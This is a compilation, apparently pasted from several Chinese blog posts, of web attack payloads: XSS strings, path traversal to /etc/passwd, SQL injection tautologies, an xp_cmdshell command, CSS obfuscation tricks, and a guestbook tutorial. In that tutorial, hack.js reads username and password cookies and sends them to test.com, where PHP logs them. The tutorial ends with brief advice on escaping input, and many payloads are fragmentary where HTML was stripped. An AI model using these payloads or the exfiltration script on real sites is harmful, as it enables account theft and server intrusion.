XSS 代码总结

XSS跨站测试代码大全

http://www.cnblogs.com/dsky/archive/2012/04/06/2434768.html


'>
='>


%3Cscript%3Ealert('XSS')%3C/script%3E


%0a%0a.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp


?sql_debug=1
a%5c.aspx
a.jsp/
a/
a?
">
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"=&{()}










"";' > out



























getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);

"> <"







PT src="http://xss.ha.ckers.org/a.js">
link
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a[/code]
========

XSS代码触发条件,插入XSS代码的常用方法

http://www.2cto.com/article/201207/140004.html


1.脚本插入
 
(1)插入javascript和vbscript正常字符。
例1:
例2:
’/在表格中插入脚本
例3:
(2)转换字符类型。将javascript或vbscript中的任一个或全部字符转换为十进制或十六进制字符
例1: ‘/将j字符转为十进制字符j 。
例2: ‘/将j字符转为十六进制字符j 。
(3)插入混淆字符。在系统控制字符中,除了头部的�(null)和尾部的(del)外,其他31个字符均可作为混淆字符,比如 、 等字符都可插入到
javascript或vbscript的头部,其中Tab符 、换行符、回车符还可以插入到代码中任意地方。
例1: ‘/插入到代码头部,其中 可写成 ,效果一样
例2: ‘/插入到代码中任意位置,其中 可写成
例3: ‘/ 是回车符的16进制形式
例4: ‘/ 是换行符的16进制形式
2.样式表 www.2cto.com
(1)利用CSS代码@import、expression触发XSS漏洞。
例1:@import “http://web/xss.css”; ‘导入外部带有XSS代码的CSS样式表。
例2:@import’javascript:alert(“xss”)’; ‘调用javascript脚本触发漏洞
例3:body{xss:expression(alert(‘xss’))} ‘在内部样式表中加入expression事件
例4:’在内嵌样式表中加入expression事件
(2)在CSS代码中加入javascript和vbscript脚本
例1:body{background-image:url(javascript:alert(“xss”))}
例2:body{background-image:url(vbscript:msgbox(“xss”))}
(3)转换字符类型,以十六进制字符替换其中或全部的字符:
例1:@\0069mport:url(web/1.css);’//将其中的i转为\0069
例2:body{xss:\0065xpression(alert(‘xss’))}’//将e转换为\0065
例3:body{background-image:\0075\0072\006c…}’将url全转为16进制
(4)插入混淆字符,在css中,/**/是注释字符,除了/**/外,字符”\”和结束符”\0″也是被忽略的,可以用来混淆字符。
例1:@\0im\port’\0ja\vasc\ript:alert(“xss”)’;
例2:@\i\0m\00p\000o\0000\00000r\000000t”url”;
========

一些经典的XSS跨站代码整理



http://www.jb51.net/hack/56973.html
 


 
IE9 

   

   

       

           
Your Comment

           

                Nick Name:
               

               
           

           

                Comment:
               

               
           

           

               
           

           

               
Comments

           

                            require('/components/comments.php'); 
                if(!empty($_POST['name'])){
                    addElement($_POST['name'],$_POST['comment']);
                }
                renderComments();
            ?>
       

   



复制代码
 
addElement()方法用于添加新的留言,而renderComments()方法用于展留言列表,网页看起来是这样的
 
image


XSS
因为我们完全信任了用户输入,但有些别有用心的用户会像这样的输入


image


这样无论是谁访问这个页面的时候控制台都会输出“Hey you are a fool fish!”,如果这只是个恶意的小玩笑,有些人做的事情就不可爱了,有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等,看个最简单的例子


利用xss窃取用户名密码
 


当然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录,有些网站是直接用明文记录用户名、密码,恶意用户注册账户登录后使用简单工具查看cookie结构名称后,如果网站有xss漏洞,那么简单的利用jsonp就可以获取其它用户的用户名、密码了。


恶意用户会这么输入


image


我们看看http://test.com/hack.js里藏了什么


var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);
几句简单的javascript,获取cookie中的用户名密码,利用jsonp把向http://test.com/index.php


发送了一个get请求


http://test.com/index.php


复制代码
    if(!empty($_GET['password'])){
        $username=$_GET['username'];
        $password=$_GET['password'];
        
        try{
            $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';
            $fp=fopen($path,'a');
            flock($fp, LOCK_EX);
            fwrite($fp, "$username\t $password\r\n");
            flock($fp, LOCK_UN);
            fclose($fp);
        }catch(Exception $e){


        }
    }
?>
复制代码
这样恶意用户就把访问留言板的用户的信息窃取了


怎么预防
上面演示的是一个非常简单的XSS攻击,还有很多隐蔽的方式,但是其核心都是利用了脚本注入,因此我们解决办法其实很简单,不信赖用户输入,对特殊字符如”<”,”>”转义,就可以从根本上防止这一问题,当然很多解决方案都对XSS做了特定限制,如上面这中做法在ASP.NET中不幸不同,微软validateRequest对表单提交自动做了XSS验证。但防不胜防,总有些聪明的恶意用户会到我们的网站搞破坏,对自己站点不放心可以看看这个XSS跨站测试代码大全试试站点是否安全。
========

跨站代码大全

     (最常见的跨站代码) 
 
(?是用tab键弄出来的空格) 
 
 
(/**/ 表示注释) 
 
 
 
 
 


html实体:
 
unicode:
 




上面是普通的 


163的filter过滤语句跨站代码 
hhhhh
(己和谐) 
不懂CSS的 百度下 "Css中的filter常用滤镜属性及语句大全" 
上面中window.rrr==1等语句是给window对象的方法定义一个值,判断这个值运行一次. 




来看看HTML5跨站代码  
引入媒体类测试代码Example: